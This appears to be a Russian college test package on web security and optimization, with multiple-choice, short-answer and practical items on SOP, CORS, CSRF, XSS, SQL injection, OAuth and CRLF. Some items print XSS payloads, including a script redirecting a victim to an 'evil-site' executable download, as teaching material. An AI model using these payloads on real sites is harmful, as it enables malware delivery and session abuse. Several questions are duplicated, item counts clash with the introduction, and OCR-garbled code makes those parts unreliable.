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1. пОЯСНИТЕЛЬНАЯ  ЗАПИСКА

Тест предназначен для студентов 3 курса. 
Вопросы подобраны таким образом, чтобы можно было проверить подготовку студентов по усвоению соответствующих знаний и умений  изученной дисциплины. 
Предлагается пакет тестовых заданий по оценке качества подготовки студентов. Пакет содержит проверочные тесты, с помощью которых преподаватель может проверить качество усвоения пройденного материала: 

· часть А – 80 заданий с кратким ответом – проверка теоретических знаний (задания закрытого типа); 

· часть B – комплексный практический тест с 20-ю заданиями открытого типа;

· часть C – комплексный практический тест с 8-ю заданиями открытого развернутого типа. 

С целью проверки знаний и умений изученной дисциплины  каждый студент получает следующий пакет:

Часть А (проверка теоретических знаний) - информационный тест, включающий в себя 20 заданий.  

Часть А тестового задания включает в себя:

· выбор правильного ответа;

· множественный выбор; 

· установление соответствия;

· установление правильной последовательности;

· закончить предложение. 

За каждый правильный ответ – 2 балла.

Максимальное количество баллов – 40.

Часть B (проверка практических знаний и умений) - комплексный практический тест, включающий в себя 8 заданий открытого типа со свободным ответом.

За каждый правильный ответ – 5 баллов.

Максимальное количество баллов – 40.

Часть C (проверка практических знаний и умений) - комплексный практический тест (письменное задание), включающий в себя 2 задания повышенного уровня сложности открытого типа с развернутым ответом.

За каждый правильный ответ – 10 баллов.

Максимальное количество баллов – 20.
2. Знания, умения по окончанию изучения дисциплины

В результате освоения обязательной части дисциплины обучающиеся должен уметь:

- разрабатывать интерфейс пользователя для веб-приложений с использованием современных стандартов;
- осуществлять оптимизацию веб-приложения с целью повышения его рейтинга в сети Интернет;
- продвигать веб-приложение внутри поисковых ресурсов.
В результате освоения обязательной части дисциплины обучающийся должен знать:

· принципы функционирования поисковых сервисов;
· особенности оптимизации веб-приложений.
В результате освоения вариативной части дисциплины обучающийся должен уметь:

· продвигать веб-приложение в интернете. 
В результате освоения вариативной части дисциплины обучающийся должен знать: 

методы продвижения веб-приложения.

· 3. Тестовые задания
Оптимизация веб-приложений 
Часть А
1. Какова основная функция системы DNS?
1) Отображение доменных имён в IP адреса и обратно
2) Прокладывание сетевого пути от клиента до сервера
3) Выдача доменных имён серверам
4) Учёт IP адресов
2. Что такое XSS?
1) Уязвимость, с помощью которой можно выполнить произвольные скриптовые команды на сервере
2) Уязвимость, с помощью которой можно написать произвольный JavaScript код в чужую страницу
3) Способ ослабления SOP для некоторых доменов
4) Способ загрузки JavaScript кода с другого домена

3. Какие существуют правила SOP для webstorage?
1) SOP не распространяется на webstorage
2) Правила такие же как для DOM и XHR
3) Поддомены с одинаковым родительским доменом могут получать данные из webstorage друг друга, другим доменам это запрещено
4. Зачем нужен заголовок Access-Control-Allow-Origin: https://example.com?
1) Для того чтобы браузер знал какой origin у страницы в ответе
2) Для того чтобы браузер разрешил origin’у https://example.com прочитать ответ на кросдоменный запрос
3) Для того чтобы сервер разрешил браузер доступ к домену https://example.com
5. Укажите верные ответы
1) У https://admin.example.com и https://example.com одинаковые origin
2) У http://example.com и https://example.com одинаковые origin
3) У http://example.com и http://example.com:8080 одинаковые origin
4) У http://example.com и http://example.com:80 одинаковые origin

6. Какие из ниже перечисленных вариантов являются IP адресами?
1) 259.101.0.11
2) 0.0.0.0

3) 2a00:11d8:1201:0:962b:18:e716:fb97
4) geekbrains.ru

7. Какие существуют правила у SOP для DOM?
1) DOM документа 1 не имеет доступа к DOM документа 2, если у них разные домены
2) DOM документа 1 может получить доступ к DOM документа 2, если они оба являются потомками одного и того же родительского домена и явно поменяют домен на родительский
3) DOM документа 1 имеет доступ к DOM документа 2, если у них общий родительский домен
8. Браузер сделал CORS запрос с заголовком Origin: evil.com и куками пользователя. Как поведёт себя браузер, если в ответе от сервера будут заголовки: «Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true”?
1) Заблокирует данный запрос
2) Выполнит запрос без кук
3) Выполнит запрос с куками
9. Какие преимущества есть у WebSocket по сравнению с HTTP?
1) По WebSocket сервер может отправить данные клиенту без запроса клиента
2) WebSocket не нужно тратить время на установление TCP соединения для каждого запроса, соединение устанавливается один раз
3) WebSocket работает быстрее за счёт меньшего объёма служебных заголовков
4) WebSocket разрешает передачу произвольных данных

10. Что такое DOM?
1) Дерево, созданное браузером для взаимодействия со страницей
2) Дерево, созданное браузером для исправления ошибок в HTML
3) Один из встроенных типов данных в JavaScript
11. Какой origin у страницы about:blank и iframe sandbox?
1) undefined
2) null
3) Origin родительского окна
4) about:blank

12. Какие существуют правила у SOP для Cookie?

1) Куки можно проставлять с дочернего домена на родительский
2) Куки можно проставлять с родительского домена на дочерний
3) Куки нельзя проставлять на другой origin
13. Что такое Origin?
1) Схема + домен + порт
2) Схема + домен + порт + путь
3) То же что и домен
4) Схема + домен

14. Что такое CSP? Для чего она нужна?
1) Механизм безопасности браузера, который позволяет отличить легитимный JavaScript код от не легитимного и исполнить легитимный
2) Механизм безопасности браузера, который разграничивает данные разных origin
3) Политика безопасности браузера, которая запрещает некоторым origin получать доступ к данным друг друга
4) Политика с помощью которой определяют origin текущей страницы

15. При эксплуатации CSRF в GET запросе есть следующие варианты:
1) Заполнить форму нужными данными и заставить пользователя ее отправить.
2) Заставить пользователя перейти по ссылке, содержащей в себе запрос как параметр.
3) Оба варианта сработают.
16. Защитит ли использование CAPTCHA от CSRF атаки?
1) Да
2) Нет
17. В какой из версий CSP появляется поддержка директивы «frame-src»?
1) CSP 1
2) CSP 2
3) CSP 3
18. Выберите пункт, характерный только для XSSer:
1) XSSer позволяет проводить атаку через TOR Proxy
2) XSSer позволяет работать с GET и POST запросами
3) XSSer позволяет находить ссылки на сайте (spidering) для исследования структуры сайта
19. На странице реализовано изменение фона при помощи следующего кода: <div style="background:<?php echo $colour ?>;">. В рамках какого контекста будет выполнен код: a;”><h1>you are busted!</h1>, если его передать как значение переменной $colour?
1) HTML Element
2) Javascript
3) CSS
4) HTML Attribute

5) URI
20. В какой из версий CSP появляется поддержка параметров «nonce» и «hash»?
1) CSP 1
2) CSP 2
3) CSP 3
21. От каких векторов CSRF защитит использование на сервере заголовка Access-Control-Allow-Origin: http://example.com:
1) Только от атак на основе XHR.
2) От векторов на основе форм и XHR.
3) Ни от каких
4) Только от атак на основе XHR, при условии что они идут не с сайта http://example.com

22. Верно ли утверждение, что для реализации CSRF из браузера жертвы в запрос злоумышленника будут помещены нужные куки?
1) Да
2) Нет
23. Заголовок X-Frame-Options: sameorigin позволит:
1) полностью разрешить использование контента сервера
2) запретить использование контента сервера (или сайта если задается только для сайта) в iframe
3) разрешить использование контента сервера (или сайта если задается только для сайта) в iframe только для тех ресурсов,у которых origin совпадает с origin сайта
24. Для чего используется State в OAuth 2.0?
1) Для обновления устаревшего токена для доступа к пользовательским данным
2) Для защиты от CSRF атаки на OAuth 2.0
3) Для доступа к пользовательским данным
4) Для получения токена для доступа к пользовательским данным

25. Укажите особенности медленных хешей, которые делают хранение паролей безопаснее.
1) Медленный хеш считается на порядки медленнее, чем обычный криптографический хеш
2) Медленные хеши используют более криптостойкие алгоритмы, чем обычные криптографические хеши
3) Медленный хеш невозможно перебрать без специального ключа
26. В чем отличие SSRF от CSRF?
1) SSRF это подделка запроса клиента к серверу, а CSRF это подделка запроса сервера к серверу
2) SSRF это подделка запроса сервера к серверу, а CSRF подделка запроса клиента к серверу
3) Отличий нет, это одна и та же уязвимость
27. Укажите преимущества механизма сессий с хранением токена на сервере.
1) Надежнее, чем механизм сессий без хранения токена на сервере
2) Легко “убить” токен
3) Быстрее, чем механизм сессий без хранения токена на сервере
4) Проще менеджмент сессий

28. Какой импакт чаще всего бывает от CRLF?
1) XSS
2) Внедрение SQL кода
3) Внедрение произвольного HTTP заголовка
4) Внедрение кода в командную строку

29. Укажите утверждения, которые описывают безопасный подход к хранению паролей.
1) Хранение паролей в захешированном виде
2) Хранение паролей в одном месте
3) Использование медленных хешей
4) Хранение паролей на нескольких серверах

30. Как защититься от CRLF, которая возникла из-за настроек nginx?
1) Проверять аутентификацию пользователя перед каждым действием
2) Использовать $request_uri вместо $uri
3) Проверять авторизацию пользователя перед каждым действием
4) Экранировать спецсимволы

31. Как защититься от IDOR?
1) Экранировать спецсимволы
2) Проверять аутентификацию пользователя перед каждым действием
3) Использовать $request_uri вместо $uri в nginx
4) Проверять авторизацию пользователя перед каждым действием

32. Выберите самый надежный и простой способ защиты от SQL инъекции.
1) Использовать параметризованные SQL запросы
2) Фильтровать данные на границе системы
3) Фильтровать данные на входе в систему
33. Для чего используется Refresh Token в OAuth 2.0?
1) Для получения токена для доступа к пользовательским данным
2) Для доступа к пользовательским данным
3) Для обновления устаревшего токена для доступа к пользовательским данным
4) Для защиты от CSRF атаки на OAuth 2.0

34. Можно ли показывать Client Id пользователю (протокол OAuth 2.0)?

1) Да, только авторизованному пользователю
2) Нет
3) Да
35. Какая из директив CSP позволит разрешить встраивать защищаемый сайт в iframe на сайте http://somesite.com
1) frame-src http://somesite.com;
2) frame-src ‘self’;
3) frame-ancestors http://somesite.com;
4) frame-ancestors 'self';

36. Какой из нижеперечисленных сценариев реализуется при помощи вектора: 
[image: image2.png]<script>docunent.. location="http://evil-site/sone. exe";</script>:




1) Дефейс страницы
2) Загрузка вредоносного ПО на компьютер жертве
3) Кража кук
4) Подсаживание пользователя на кейлоггер

37. Верно ли утверждение, что контекст JavaScript комментария является исполняемым контекстом?
1) Да
2) Нет
38. Можно ли для эксплуатации Reflected XSS отослать пользователю URL (в которой будет payload) через социальные сети?
1) Да
2) Нет
39. Исследователь обнаружил, что при передаче имени пользователя (canary) возвращается нижеуказанный код . Выберите верный вектор эксплуатации XSS в указанном коде:
[image: image3.png]<script>

try{

docunent . getElementById("idUsernameInput”

his password is for canary”;

Jeatch(e){

alert(“Error

+ e.message);
¥/ end catch

</seripts




1) a";}catch(e){};alert('canary');try{a=”
2) a";}catch(e){};alert('canary');
3) a";}catch(e){};alert('canary');try(a=''}
40. Защитит ли использование HTTPS от CSRF атаки?
1) Да
2) Нет
41. Какой из видов XSS относят, согласно OWASP, к Type-II XSS?
1) Blind
2) Stored
3) Reflected
42. Заголовок Content-Security-Policy: "default-src 'self'":
1) Разрешает запуск сценариев, загруженных с текущего сайта.
2) Разрешает запуск сценария из любого источника.
3) Не разрешает запуск сценария.
43. В каких случаях можно обойти защиту от CSRF, реализованную при помощи анти-CSRF токена?
1) Токен может быть получен при помощи XSS атаки.
2) В основе токена лежит криптографически не стойкий алгоритм.
3) Все перечисленные варианты верны
4) Токен может быть неуникальным в рамках каждого запроса.

44. Что пытается выполнить злоумышленник при помощи вектора
[image: image4.png]<script>document.body.onload = function () {document.forms[1].elements[0].value="busted";document. forms[1].submit()}</script>




1) Задать значение элемента формы
2) Изменить обработчик формы
3) Задать значение элемента формы и отправить форму
45. Верно ли утверждение, что уязвимость XSS возникает из-за вставки пользовательских данных в HTML или DOM при отсутствии фильтрации передаваемых данных?
1) Да
2) Нет
46. Допустим, злоумышленник обнаружил тот факт, что введенные данные попадают в закомментированный HTML код без фильтрации. Что нужно сделать злоумышленнику, чтобы реализовать XSS, выберите верный вариант атаки:
1) <!--<img src=x onerror=alert(1)>
2) --><img src=x onerror=alert(1)><!-- +
3) <img src=x onerror=alert(1)>
47. На каком уровне модели OSI работает WAF?
1) Transport
2) Application
3) Network
4) Data Link
48. Верно ли утверждение, что для реализации CSRF из браузера жертвы в запрос злоумышленника будут помещены нужные куки?
1) Да
2) Нет
49. В каких из перечисленных ниже URL записан валидный IP адрес?
1) http://169.254.169.254/
2) http://0x41414141A9FEA9FE/
3) http://2852039166/
4) http://0xA9.0xFE.0xA9.0xFE/

50. Укажите особенности Time Based SQL инъекции.
1) Не видно никакой реакции на SQL запрос
2) Применимы только для SELECT
3) Видно, когда выполнение SQL запроса завершилось с ошибкой
51. Какие утверждения подходят для атаки Brute Force на систему аутентификации?
1) Это перебор одного пароля к большому количеству пользователей
2) Достаточно добавить рейтлимит на аккаунт, чтобы защититься
3) Это перебор значения паролей для каждого пользователя
4) Достаточно добавить рейтлимит на IP, чтобы защититься

52. В чем самая большая опасность уязвимости подмены redirect uri, в реализации протокола OAuth 2.0?
1) Появляется возможность для SSRF
2) Появляется открытое перенаправление
3) Злоумышленник может получить Code или Access Token
4) Злоумышленник может выполнить вредоносный JavaScript код

53. В чем суть уязвимости CRLF?
1) Пользователь может сделать произвольный HTTP запрос от имени уязвимого сервера
2) Происходит инъекция в SQL запрос
3) Доступ к объекту на backend производится через параметр, передаваемый пользователем, без проверки авторизации
4) Символы переноса строки могут быть внедрены в HTTP ответ и привести к уязвимостям XSS, Open Redirect и другим

54. Может ли резервный ключ двухфакторной аутентификации предоставить доступ к аккаунту без пароля?
1) Да
2) Нет
55. Укажите верные утверждения относительно авторизации и аутентификации.
1) Аутентификация - это одноразовый процесс, а авторизация - многоразовый
2) Авторизация - это процесс проверки прав доступа к объекту, аутентификация -- это процесс проверки, что пользователь является тем, за кого себя выдает
3) Авторизация - это процесс проверки, что пользователь является тем, за кого себя выдает, аутентификация - это процесс проверки прав доступа к объекту
4) Авторизация должна проверяться при каждом доступе к объекту

56. HTTP и HTTPS одинаковы?
1) Да
2) Нет
57. HTTP - это
1) протокол прикладного уровня передачи данных, изначально — в виде гипертекстовых документов в формате HTML, в настоящее время используется для передачи произвольных данных.
2) это расширение протокола HTTP, который поддерживает шифрование данных для их безопасной передачи при помощи криптографических протоколов TLS или SSL.
3) криптографический протокол, который подразумевает более безопасную связь.
58. XSS – это…
1) тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода
2) один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос

3) 128-битный алгоритм хеширования
59. SQL-инъекции  – это…

1) тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода

2) один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос

3) 128-битный алгоритм хеширования

60. Шифрование пароля происходит с помошью…
1) Md5
2) Password_hash
3) Xss
4) SQL
61. Куда чаще всего встраивают SQL-инъекцию?
1) В POST переменную
2) В GET переменную
3) JavaScript
62. На странице реализовано изменение фона при помощи следующего кода: <div style="background:<?php echo $colour ?>;">. В рамках какого контекста будет выполнен код: a;”><h1>you are busted!</h1>, если его передать как значение переменной $colour?

1) HTML Element

2) Javascript

3) CSS
4) HTML Attribute

5) URI
63. Какой импакт чаще всего бывает от CRLF?

1) XSS

2) Внедрение SQL кода

3) Внедрение произвольного HTTP заголовка

4) Внедрение кода в командную строку

64. Защитит ли использование HTTPS от SQL-инъекции?

1) Да
2) Нет

65. Защитит ли использование HTTPS от DDOS?

1) Да
2) Нет

66. DDOS – это…
1) хакерская атака на вычислительную систему с целью довести её до отказа, то есть создание таких условий, при которых добросовестные пользователи системы не смогут получить доступ к предоставляемым системным ресурсам
2) Внедрение произвольного HTTP заголовка

3) тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода

67. Возможно, ли узнать IP-адрес веб-сайте зная только доменное имя?
1) Да
2) Нет

68. Достаточно ли защитить авторизацию шифрованием md5?
1) Да
2) Нет

69. SSL – это…
1) расширение протокола HTTP для поддержки шифрования в целях повышения безопасности
2) Криптографический протокол, который подразумевает более безопасную связь
3) протокол прикладного уровня передачи данных, изначально — в виде гипертекстовых документов в формате HTML, в настоящее время используется для передачи произвольных данных

70. Защитит ли использование SSL от SQL-инъекции?

1) Да
2) Нет

Часть В
1. Расширение протокола HTTP для поддержки шифрования в целях повышения безопасности – это…
2. Протокол прикладного уровня передачи данных, изначально — в виде гипертекстовых документов в формате HTML, в настоящее время используется для передачи произвольных данных – это…
3. Один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода - это
4. Тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода – это…
5. Внедрение символа переноса строки куда либо – будь то обычный текстовый файл или что то ещё – это…
6. Теория взаимодействующих последовательных процессов – это…
7. Хакерская атака на вычислительную систему с целью довести её до отказа, то есть создание таких условий, при которых добросовестные пользователи системы не смогут получить доступ к предоставляемым системным ресурсам – это…
8. Дерево, созданное браузером для взаимодействия со страницей
9. Криптографический протокол, который подразумевает более безопасную связь – это…
10. Обновление устаревшего токена происходит в…
11. Открытый протокол (схема) авторизации, который позволяет предоставить третьей стороне ограниченный доступ к защищённым ресурсам пользователя без необходимости передавать ей (третьей стороне) логин и пароль – это…

12. Origin — это…
13. Стандартные операционные процедуры – это…
14. Абсолютно любое информационно значимое либо содержательное наполнение информационного ресурса или веб-сайта
15. Два способа отправки клиентом компьютера информации на веб-сервер – это…
16. В какой из версий CSP появляется поддержка параметров «nonce» и «hash»?

17. Атака на сервер компьютерной сети, в результате которой злоумышленник получает возможность отправлять запросы от имени скомпрометированного хоста – это…
18. SSRF-атака невозможна без…
Часть С
1. Реализуйте авторизацию с помощью OAuth 2.0.
2. Опишите методы защиты от DDOS-атак.
3. Напишите origin веб-сайта колледжа.
4. Опишите методы защиты от SQL-инъекций.

5. Опишите методы защиты от XSS-атак.

6. Оформите SSL-сертификат для тестового веб-сайта.

7. Реализуйте авторизацию используя password_hash.

8. Опишите методы защиты от CRLF-инъекций.
	


4. Критерии по выставлению баллов
	Определение количества тестовых вопросов (заданий)

	Количество часов учебной дисциплины согласно учебному плану
	Всего
	Часть А
	Часть В
	Часть С

	100
	95
	70
	18
	7


	Сводная таблица с критериями баллов

	Части
	Баллы

	А
	40

	B
	40

	C
	20

	Итого (макс. баллы)
	100


	Критерии оценок

	Баллы
	Оценки

	86-100
	5

	71-85
	4

	49-70
	3

	Менее 48 баллов
	перезачет


Время выполнения тестовых заданий: 60 минут астрономического времени. 
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